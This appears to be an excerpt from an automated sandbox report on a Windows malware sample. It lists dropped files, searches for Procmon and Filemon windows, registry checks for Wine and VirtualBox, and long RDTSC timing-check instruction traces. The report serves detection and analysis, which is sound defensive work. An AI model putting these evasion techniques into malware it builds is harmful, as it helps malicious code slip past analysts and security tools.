Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File created: C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File created: C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe			Jump to dropped file

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 81C965 second address: 81C96B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 81C96B second address: 81C96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9814E2 second address: 9814E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9814E6 second address: 9814FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F96486CD648h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop eax 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9814FF second address: 981522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9648C33B48h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 981522 second address: 981526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 981526 second address: 981563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9648C33B42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9648C33B46h 0x00000010 pushad 0x00000011 jmp 00007F9648C33B3Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99EFEB second address: 99EFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F3EB second address: 99F3F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F3F1 second address: 99F3F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F3F6 second address: 99F40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F9648C33B42h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F40D second address: 99F413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F413 second address: 99F427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9648C33B3Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F427 second address: 99F433 instructions: 0x00000000 rdtsc 0x00000002 je 00007F96486CD646h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F5CD second address: 99F5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jno 00007F9648C33B36h 0x0000000c jmp 00007F9648C33B3Ah 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 99F5E7 second address: 99F5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A2248 second address: 9A22AB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F9648C33B49h 0x0000000c push 00000000h 0x0000000e and edi, dword ptr [ebp+122D29A3h] 0x00000014 call 00007F9648C33B39h 0x00000019 jno 00007F9648C33B4Eh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9648C33B3Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A22AB second address: 9A22B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A22B1 second address: 9A2327 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F9648C33B48h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jc 00007F9648C33B3Eh 0x00000019 jne 00007F9648C33B38h 0x0000001f push edi 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jmp 00007F9648C33B3Dh 0x0000002a pop eax 0x0000002b push 00000003h 0x0000002d mov dword ptr [ebp+122D190Eh], esi 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D21ABh], edi 0x0000003b push 00000003h 0x0000003d ja 00007F9648C33B3Ch 0x00000043 mov ecx, dword ptr [ebp+122D3707h] 0x00000049 push BBB2BD31h 0x0000004e pushad 0x0000004f push eax 0x00000050 jno 00007F9648C33B36h 0x00000056 pop eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A23C2 second address: 9A23C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A23C6 second address: 9A2436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 ja 00007F9648C33B3Ch 0x0000000d push 00000000h 0x0000000f and edi, dword ptr [ebp+122D1BD3h] 0x00000015 call 00007F9648C33B39h 0x0000001a jnp 00007F9648C33B3Ah 0x00000020 push eax 0x00000021 push eax 0x00000022 pop eax 0x00000023 pop eax 0x00000024 push eax 0x00000025 jne 00007F9648C33B46h 0x0000002b jbe 00007F9648C33B40h 0x00000031 mov eax, dword ptr [esp+04h] 0x00000035 push edx 0x00000036 push edx 0x00000037 js 00007F9648C33B36h 0x0000003d pop edx 0x0000003e pop edx 0x0000003f mov eax, dword ptr [eax] 0x00000041 jbe 00007F9648C33B42h 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A2436 second address: 9A243A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A243A second address: 9A2489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9648C33B38h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop eax 0x00000010 mov dword ptr [ebp+122D343Eh], edi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push 00000003h 0x0000001c jmp 00007F9648C33B45h 0x00000021 call 00007F9648C33B39h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F9648C33B41h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A2489 second address: 9A248D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A248D second address: 9A2493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A25B0 second address: 9A25B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A26A7 second address: 9A2710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 52DA07CBh 0x0000000d mov ecx, dword ptr [ebp+122D2977h] 0x00000013 lea ebx, dword ptr [ebp+12459126h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F9648C33B38h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 sub dword ptr [ebp+122D21B6h], edx 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d jmp 00007F9648C33B3Fh 0x00000042 jmp 00007F9648C33B45h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A2710 second address: 9A2716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A2716 second address: 9A271A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9A271A second address: 9A271E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C1206 second address: 9C121C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9648C33B3Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C121C second address: 9C1220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C1220 second address: 9C1226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C193D second address: 9C1941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C1941 second address: 9C1957 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9648C33B36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F9648C33B36h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C1C5D second address: 9C1C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C1C66 second address: 9C1CA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B41h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F9648C33B4Dh 0x00000011 jmp 00007F9648C33B47h 0x00000016 jng 00007F9648C33B3Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C1F72 second address: 9C1F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jns 00007F96486CD646h 0x0000000e jmp 00007F96486CD64Eh 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C20FC second address: 9C2100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C2223 second address: 9C222B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C222B second address: 9C223A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F9648C33B36h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C223A second address: 9C2240 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C2240 second address: 9C225D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F9648C33B44h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C225D second address: 9C226A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F96486CD646h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C226A second address: 9C2287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9648C33B46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C240E second address: 9C2414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 993C60 second address: 993C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9648C33B46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 993C7C second address: 993C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F96486CD652h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 993C99 second address: 993C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9C2EA9 second address: 9C2EE6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96486CD65Bh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F96486CD653h 0x0000000f jc 00007F96486CD664h 0x00000015 jmp 00007F96486CD658h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9CC8A4 second address: 9CC8A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9CC8A9 second address: 9CC8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jng 00007F96486CD646h 0x00000013 js 00007F96486CD646h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98B54E second address: 98B55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 jp 00007F9648C33B36h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98B55B second address: 98B560 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D137B second address: 9D1385 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9648C33B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D0905 second address: 9D0915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D1094 second address: 9D1098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D1098 second address: 9D109E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D486A second address: 9D486F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D486F second address: 9D4884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96486CD651h 0x00000009 rdtsc
